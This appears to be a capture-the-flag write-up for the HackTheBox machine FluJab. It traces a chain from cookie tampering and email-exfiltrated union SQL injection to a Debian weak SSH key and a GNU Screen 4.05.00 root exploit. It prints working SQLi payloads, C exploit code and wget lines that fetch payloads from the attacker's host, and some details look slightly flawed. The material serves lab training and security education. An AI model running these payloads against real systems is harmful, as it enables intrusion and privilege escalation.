HTB: FluJab Writeup

FluJab - HackTheBox Writeup

Machine Information

AttributeDetails
NameFluJab
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.44.41
Author3mrgnc3

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

FluJab is a hard-difficulty Linux machine that demands extensive enumeration, cookie tampering, SQL injection over email delivery, WAF bypass techniques, Ajenti API abuse, Debian weak-key exploitation, and privilege escalation via a vulnerable SUID binary. The box features a custom “ClownWare” WAF, multiple virtual hosts discovered through TLS certificate SAN enumeration, and a Union-based blind SQL injection that delivers results via SMTP. Initial access leverages a predictable OpenSSL PRNG vulnerability (Debian weak keys) combined with hosts.allow/hosts.deny manipulation to bypass SSH restrictions. Root is achieved through CVE-2017-5618, a local privilege escalation in GNU Screen 4.05.00 using ld.so.preload injection.

TL;DR: TLS cert SAN → vhost enumeration (freeflujab.htb) → cookie tampering (Modus=Configure=True) → SMTP config poisoning (whitelist attacker IP) → second cookie tampering (Registered=True) → Union SQLi over email with WAF bypass (uppercase column names) → credentials for Ajenti console → filesystem API abuse → SSH key extraction → Debian weak-key match → hosts.allow write → SSH as drno → rbash escape → screen 4.05.00 SUID exploit (CVE-2017-5618) → root.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port scan
nmap -p- --min-rate=1000 -T4 10.129.44.41
# Service and version enumeration on discovered ports
nmap -sC -sV -p 22,80,443,8080 10.129.44.41

Results:

PortServiceVersionNotes
22SSHOpenSSHSSH access restricted
80HTTPnginxRedirects to HTTPS; ClownWare Proxy header
443HTTPSnginxTLS cert reveals multiple vhosts; direct IP access blocked
8080HTTPSnginxSame TLS cert; Ajenti console on correct vhost

TLS Certificate Enumeration

Inspecting the TLS certificate Subject Alternative Name (SAN) field revealed a comprehensive list of virtual hosts:

clownware.htb
sni147831.clownware.htb
*.clownware.htb
proxy.clownware.htb
console.flujab.htb
sys.flujab.htb
smtp.flujab.htb
vaccine4flu.htb
bestmedsupply.htb
custoomercare.megabank.htb
flowerzrus.htb
chocolateriver.htb
meetspinz.htb
rubberlove.htb
freeflujab.htb
flujab.htb

All vhosts were added to /etc/hosts pointing to 10.129.44.41.

Service Enumeration

HTTP/HTTPS (Ports 80/443/8080)

  • ClownWare WAF: Custom web application firewall present; direct IP access returns “Direct IP access not allowed | ClownWare” error.
  • Virtual Host Behavior:
    • Most vhosts (vaccine4flu.htb, bestmedsupply.htb, etc.) served static content, videos, or gifs.
    • smtp.flujab.htb: Deprecated login panel (HTML comment: “functionality is deprecated”).
    • freeflujab.htb: Fully functional flu vaccination registration/booking portal.
    • sysadmin-console-01.flujab.htb:8080: Ajenti server management console (discovered later via SQLi).

freeflujab.htb Application Analysis

The application provides multiple endpoints:

  • /?register — Patient registration form
  • /?book — Appointment booking
  • /?cancel — Cancellation (returns NOT_REGISTERED error without proper cookie)
  • /?remind — Appointment reminder (returns NOT_REGISTERED error without proper cookie)
  • /?login — Login endpoint (redirects to logout)
  • /?smtp_config — SMTP configuration page (hidden, discovered via cookies)
  • /?whitelist — Lists whitelisted SMTP servers

Vulnerability Assessment

  1. Cookie Tampering (Authentication Bypass):

    • The Modus cookie controls access to /?smtp_config.
    • Default value: base64("Configure=NULL").
    • Setting Configure=True grants unauthorized access.
  2. SMTP Configuration Hijacking:

    • The /?smtp_config endpoint allows whitelisting arbitrary SMTP servers.
    • By whitelisting the attacker’s IP (10.10.15.180), all application emails route to the attacker’s SMTP listener.
  3. Second Cookie Tampering (Feature Unlock):

    • The Registered cookie (hash format: <redacted>=Null) controls access to registered-user features.
    • Changing the value to True (base64-encoded) unlocks /?remind.
  4. Union-Based SQL Injection:

    • The nhsnum parameter in /?remind POST requests is vulnerable to Union SQLi.
    • Query results are reflected in the email’s Ref: field, enabling blind data exfiltration.
    • WAF Evasion Required: The ClownWare WAF blocks lowercase SQL keywords; uppercase column names bypass the filter.
  5. Ajenti Console Misconfiguration:

    • The /api/filesystem endpoints allow arbitrary file read/write operations.
    • The Notepad tool can browse the entire filesystem without proper authorization checks.
  6. Debian Weak SSH Keys (Predictable PRNG):

    • The SSH public key in /home/drno/.ssh/authorized_keys was generated using the vulnerable Debian OpenSSL PRNG (2006-2008 era).
    • The corresponding private key exists in the g0tmi1k debian-ssh repository.
  7. SSH Access Control Bypass:

    • /etc/hosts.deny blocks all SSH connections by default (sshd : ALL).
    • /etc/hosts.allow can override this; Ajenti file-write capability allows adding attacker IP.
  8. Privilege Escalation (CVE-2017-5618):

    • GNU Screen 4.05.00 with SUID bit set at /usr/local/share/screen/screen.
    • Vulnerable to ld.so.preload injection for arbitrary code execution as root.

Initial Foothold

The /?login endpoint sets a Modus cookie for the path /?smtp_config:

Set-Cookie: Modus=Q29uZmlndXJlPU5VTEw%3D; path=/?smtp_config

Decoding the base64 value:

Terminal window
echo "Q29uZmlndXJlPU5VTEw=" | base64 -d
# Output: Configure=NULL

Exploitation: Change NULL to True, re-encode, and send the modified cookie to /?smtp_config:

Terminal window
echo -n "Configure=True" | base64
# Output: Q29uZmlndXJlPVRydWU=

Using Burp Suite, configure a Match and Replace rule:

  • Type: Request header
  • Match: Cookie: Modus=Q29uZmlndXJlPU5VTEw%3D
  • Replace: Cookie: Modus=Q29uZmlndXJlPVRydWU%3D

This bypasses authentication and reveals the SMTP configuration panel at https://freeflujab.htb/?smtp_config.

Step 2: SMTP Server Poisoning

The configuration page allows specifying an SMTP server. JavaScript validation restricts input, but Burp can bypass this.

Objective: Whitelist the attacker’s tun0 IP (10.10.15.180) as the SMTP server.

Intercept the POST request to /?smtp_config and modify:

POST /?smtp_config HTTP/1.1
Host: freeflujab.htb
Cookie: Modus=Q29uZmlndXJlPVRydWU%3D
...
smtp_server=10.10.15.180&submit=Save

Verification: Navigate to /?whitelist:

Whitelisted SMTP Servers:
10.10.15.180

Step 3: SMTP Listener Setup

Create a raw-socket SMTP listener to capture emails with SQLi results:

smtp_listener.py
import asyncore
from smtpd import SMTPServer
class EmlServer(SMTPServer):
def process_message(self, peer, mailfrom, rcpttos, data):
print("\n[+] Email received:")
print(data)
if __name__ == '__main__':
server = EmlServer(('10.10.15.180', 25), None)
print("[*] SMTP listener running on 10.10.15.180:25")
try:
asyncore.loop()
except KeyboardInterrupt:
pass

Start the listener:

Terminal window
sudo python2 smtp_listener.py

The Registered cookie controls access to /?remind:

Set-Cookie: Patient=<redacted>; Registered=OGNlMmVkNzA1M2M4NWEwMzUxMDdkNmQ0N2Y3NWYxZDQ9TnVsbA%3D%3D

Decode:

Terminal window
echo "OGNlMmVkNzA1M2M4NWEwMzUxMDdkNmQ0N2Y3NWYxZDQ9TnVsbA==" | base64 -d
# Output: <redacted>=Null

Modify and re-encode:

Terminal window
echo -n "<redacted>=True" | base64
# Output: OGNlMmVkNzA1M2M4NWEwMzUxMDdkNmQ0N2Y3NWYxZDQ9VHJ1ZQ==

Add another Burp Match and Replace rule for the Registered cookie. Now /?remind is accessible.

Step 5: Union-Based SQL Injection Discovery

The /?remind endpoint accepts nhsnum and email parameters. Testing for SQL injection:

POST /?remind HTTP/1.1
Host: freeflujab.htb
Cookie: Patient=<redacted>; Registered=OGNlMmVkNzA1M2M4NWEwMzUxMDdkNmQ0N2Y3NWYxZDQ9VHJ1ZQ%3D%3D
...
nhsnum=NHS-012-245-6789' OR 1=1 -- -&email=test@test.com&submit=Send+Reminder

SMTP listener receives:

Ref: NHS-012-245-6789

Testing a false condition:

nhsnum=NHS-012-245-6789' OR 1=2 -- -&email=test@test.com&submit=Send+Reminder

The Ref: field is empty, confirming Boolean-based SQLi.

Determine column count (Union attack):

' UNION SELECT 1,2,3 -- - # No response
' UNION SELECT 1,2,3,4 -- - # No response
' UNION SELECT 1,2,3,4,5 -- - # Ref: 3

The table has 5 columns, and column 3 is injectable.

Step 6: WAF Bypass and Database Enumeration

The ClownWare WAF blocks queries containing lowercase SQL keywords like password, user, database. Bypass: Use uppercase identifiers.

Extract database name:

nhsnum=NHS-012-245-6789' UNION SELECT 1,2,DATABASE(),4,5 -- -

SMTP output:

Ref: vaccinations

Extract table names:

' UNION SELECT 1,2,GROUP_CONCAT(TABLE_NAME),4,5 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='vaccinations' -- -

Result:

Ref: admin,admin_temp

Extract column names from admin table:

' UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME),4,5 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='vaccinations' AND TABLE_NAME='admin' -- -

Result:

Ref: id,loginname,namelc,email,access,created,modified,modifiedby,password,passwordchanged,superuser,disabled,privileges

Extract admin credentials (uppercase bypass for PASSWORD and ACCESS):

' UNION SELECT 1,2,CONCAT_WS(',',id,loginname,email,ACCESS,PASSWORD),4,5 FROM vaccinations.admin -- -

SMTP output:

Ref: 1,sysadm,sysadmin@flujab.htb,sysadmin-console-01.flujab.htb,a3e30cce47580888f1f185798aca22ff10be617f4a982d67643bb56448508602

Findings:

  • Username: sysadm
  • Vhost: sysadmin-console-01.flujab.htb
  • Password hash (SHA256): a3e30cce47580888f1f185798aca22ff10be617f4a982d67643bb56448508602

Step 7: Hash Cracking

Terminal window
echo "a3e30cce47580888f1f185798aca22ff10be617f4a982d67643bb56448508602" > hash.txt
john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Cracked password: th3doct0r

Step 8: Ajenti Console Access

Navigate to https://sysadmin-console-01.flujab.htb:8080 (note: port 8080, not 443).

Login:

  • Username: sysadm
  • Password: th3doct0r

Success! Ajenti server management console loads.

Step 9: Ajenti Filesystem API Abuse

The Ajenti “Notepad” tool exposes filesystem read/write via /api/filesystem and /view/notepad/<path>.

Enumerate users:

https://sysadmin-console-01.flujab.htb:8080/view/notepad//home

Discovered users:

  • drno
  • (others with no interesting files)

Navigate to drno’s SSH directory:

https://sysadmin-console-01.flujab.htb:8080/view/notepad//home/drno/.ssh

Files found:

  • authorized_keys (SSH public key)
  • user_key (encrypted private key)

Copy authorized_keys content:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWx7... drno@flujab

Copy user_key content and attempt cracking:

Terminal window
cat user_key
# -----BEGIN RSA PRIVATE KEY-----
# Proc-Type: 4,ENCRYPTED
# ...
ssh2john user_key > user_key.hash
john --wordlist=/usr/share/wordlists/rockyou.txt user_key.hash

Cracked passphrase: shadowtroll

However, attempting SSH with this key fails immediately with a connection reset.

Step 10: Debian Weak Key Identification

The authorized_keys file contains a comment:

# Shell whitelisting

Searching the home directory reveals /home/drno/.ssh/deprecated_keys/README:

These keys were generated using a compromised OpenSSL PRNG. All private keys have been deleted.

This references the Debian OpenSSL PRNG vulnerability (CVE-2008-0166), where only 32,767 possible keys exist for a given bit size.

Determine key size:

Terminal window
ssh-keygen -l -f drno_authkey.pub
# 4096 SHA256:... drno@flujab (RSA)

Download the g0tmi1k Debian weak-key archive:

Terminal window
wget https://github.com/g0tmi1k/debian-ssh/raw/master/uncommon_keys/debian_ssh_rsa_4096_x86.tar.bz2
tar xvf debian_ssh_rsa_4096_x86.tar.bz2

Search for the matching private key:

Terminal window
grep -r "$(cat drno_authkey.pub)" rsa/4096/

Match found:

rsa/4096/<redacted>-23269.pub

Copy the private key:

Terminal window
cp rsa/4096/<redacted>-23269 drno_priv.key
chmod 600 drno_priv.key

Step 11: SSH Access Control Bypass

Attempting SSH still fails:

Terminal window
ssh -i drno_priv.key drno@10.129.44.41
# Connection reset by peer

Hypothesis: SSH access is restricted via /etc/hosts.deny and /etc/hosts.allow.

Verify with Ajenti:

https://sysadmin-console-01.flujab.htb:8080/view/notepad//etc/hosts.deny

Content:

sshd : ALL

Check /etc/hosts.allow:

# Empty

Solution: Add attacker IP to /etc/hosts.allow using Ajenti’s write functionality.

In Ajenti Notepad, navigate to /etc/hosts.allow, click Open, then Edit, and add:

sshd : 10.10.15.180

Save the file.

Step 12: SSH Access as drno

Terminal window
ssh -i drno_priv.key drno@10.129.44.41

Success! However, the shell is rbash (restricted bash).

Escape rbash:

Terminal window
ssh -i drno_priv.key drno@10.129.44.41 -t bash

The -t flag forces TTY allocation and bypasses rbash restrictions.

Fix PATH:

Terminal window
export PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin

Retrieve user flag:

Terminal window
cat /home/drno/user.txt
# <redacted>

Privilege Escalation

Enumeration: SUID Binary Discovery

Terminal window
find / -perm -4000 2>/dev/null

Interesting finding:

/usr/local/share/screen/screen

Check version:

Terminal window
/usr/local/share/screen/screen --version
# Screen version 4.05.00 (GNU) 10-Dec-2016

Search for exploits:

Terminal window
searchsploit screen 4.05

Result: GNU Screen 4.05.00 - Local Privilege Escalation (CVE-2017-5618)

Exploitation: CVE-2017-5618 (ld.so.preload Injection)

Vulnerability: Screen 4.05.00 improperly handles the logfile feature when running with SUID permissions. By creating a malicious ld.so.preload entry, an attacker can inject a shared library that executes arbitrary code as root.

Exploit Steps:

1. Create malicious shared library (libhax.c):

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
// Constructor runs before main()
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0); // Change owner to root
chmod("/tmp/rootshell", 04755); // Set SUID bit
unlink("/etc/ld.so.preload"); // Clean up
printf("[+] SUID shell created at /tmp/rootshell\n");
}

2. Compile the shared library:

Terminal window
gcc -fPIC -shared -ldl -o /tmp/libhax.so libhax.c

3. Create SUID shell binary (rootshell.c):

#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}

4. Compile the SUID shell:

Terminal window
gcc -o /tmp/rootshell rootshell.c

5. Transfer files to target:

On attacker machine:

Terminal window
python3 -m http.server 80

On target:

Terminal window
cd /tmp
wget http://10.10.15.180/libhax.so
wget http://10.10.15.180/rootshell
chmod +x rootshell

6. Trigger the exploit:

The exploit abuses Screen’s -D -m (detach and log) functionality to write to /etc/ld.so.preload.

Terminal window
cd /etc
umask 000
/usr/local/share/screen/screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
/usr/local/share/screen/screen -ls

Explanation:

  • The first screen command creates a logfile at /etc/ld.so.preload containing the path to our malicious library.
  • ld.so.preload is read by the dynamic linker (ld.so) and specifies libraries to load before any others.
  • The second screen -ls command triggers execution of our library (since screen runs as root and loads ld.so.preload).
  • Our libhax.so constructor changes ownership of /tmp/rootshell to root and sets the SUID bit.

7. Execute the SUID shell:

Terminal window
/tmp/rootshell

Output:

Terminal window
# id
uid=0(root) gid=0(root) groups=0(root),1004(drno)

Root access achieved!

Root Flag

Terminal window
cat /root/root.txt
# <redacted>

Attack Chain Summary

TLS cert SAN enum (15 vhosts)
Cookie tampering #1 (Modus=Configure=True)
SMTP config poisoning (whitelist 10.10.15.180)
Cookie tampering #2 (Registered=True)
Union SQLi (5 cols, col 3 injectable) + WAF bypass (uppercase identifiers)
Extract admin creds (sysadm:th3doct0r) + vhost (sysadmin-console-01.flujab.htb:8080)
Ajenti console login
Ajenti /api/filesystem abuse (read authorized_keys, write hosts.allow)
Debian weak-key match (g0tmi1k archive)
SSH access bypass (hosts.allow whitelist) + rbash escape
USER: drno
SUID Screen 4.05.00 (CVE-2017-5618) + ld.so.preload injection
ROOT

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
opensslTLS certificate inspection
burpsuiteCookie manipulation, match/replace rules, HTTP interception
python2 smtpdSMTP listener for email-based SQLi result exfiltration
johnHash cracking (SHA256 admin password)
ssh-keygenKey size determination
wgetFile transfer (debian-ssh archive, exploit binaries)
gccCompiling exploit code (libhax.so, rootshell)
grepSearching debian-ssh key archive

Key Learnings

Techniques Practiced

  • Multi-stage cookie tampering for authentication and feature bypass
  • SMTP server poisoning to intercept application emails
  • Union-based SQL injection with exfiltration via alternative channels (email)
  • WAF evasion using case manipulation (uppercase SQL identifiers)
  • TLS certificate enumeration for vhost discovery (SAN field analysis)
  • Ajenti API abuse (filesystem read/write without proper authorization)
  • Debian OpenSSL PRNG exploitation (CVE-2008-0166) using precomputed key databases
  • SSH access control bypass via hosts.allow/hosts.deny manipulation
  • Restricted shell (rbash) escape using SSH forced TTY allocation
  • SUID binary exploitation (CVE-2017-5618) via ld.so.preload injection

Lessons Learned

  1. Certificate Transparency is a Double-Edged Sword: TLS certificates expose all configured vhosts via the SAN field. While this aids legitimate troubleshooting, it provides attackers with a complete enumeration target list without active scanning. Organizations should minimize the number of hostnames in multi-domain certificates or use separate certificates per service.

  2. Cookie-Based Access Control is Fragile: Relying on client-side cookies (Modus, Registered) for feature gating is fundamentally insecure. The application trusted user-controlled data without server-side session validation. All authorization decisions must be verified server-side against a secure session store.

  3. Blind SQL Injection Requires Creative Exfiltration Channels: When direct output is unavailable, attackers will use any available side channel—in this case, email delivery. The Ref: field in reminder emails became a perfect exfiltration vector. Applications must validate all user input in every context where it’s used, including email templates.

  4. WAFs Are Bypassable Without Deep Inspection: The ClownWare WAF used simple keyword blacklisting, which was trivially bypassed with case variation. Effective WAFs must normalize input, understand SQL grammar, and detect semantic attacks rather than relying on signature matching.

  5. API Authorization Must Be Granular: The Ajenti console’s /api/filesystem endpoints allowed reading/writing arbitrary files based solely on valid authentication, not per-resource authorization. Privileged management interfaces must enforce least-privilege access controls and never trust authentication alone.

  6. Predictable Key Generation is a Systemic Failure: The Debian OpenSSL bug demonstrates how PRNG vulnerabilities undermine all downstream cryptographic guarantees. Even years after disclosure, weak keys persist in the wild. Organizations must rotate all keys generated during affected periods and implement key quality checks.

  7. Defense in Depth Prevents Single Points of Failure: The SSH restriction via hosts.deny was a good security measure, but the Ajenti misconfiguration allowed bypassing it by writing to hosts.allow. No single control should be the sole barrier to access; multiple independent layers are essential.

  8. SUID Binaries Are High-Value Targets: Screen’s SUID bit was necessary for multi-user support but created a privilege escalation path. SUID programs require exceptional scrutiny during development and should be minimized. Capabilities (setcap) or privileged helper daemons (polkit) offer safer alternatives.

  9. Local File Write → Root: The ability to write to /etc/ld.so.preload or similar system configuration files (cron, systemd units, sudoers) is often a direct path to root. File write primitives should be treated as critically as code execution.

  10. Enumeration Patience Pays Off: FluJab required methodical enumeration at each stage—vhosts, cookies, SQL columns, filesystem paths, weak keys. Rushing past any step would have blocked progress. Hard machines reward systematic, documented exploration over intuition.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • MinatoTW (2019). FluJab - HackTheBox Writeup. Official HackTheBox documentation (Document No D19.100.23).
  • g0tmi1k. debian-ssh: Debian OpenSSL Predictable PRNG Key Archive. GitHub repository.
  • CVE-2008-0166: Debian OpenSSL PRNG Vulnerability
  • CVE-2017-5618: GNU Screen 4.05.00 Local Privilege Escalation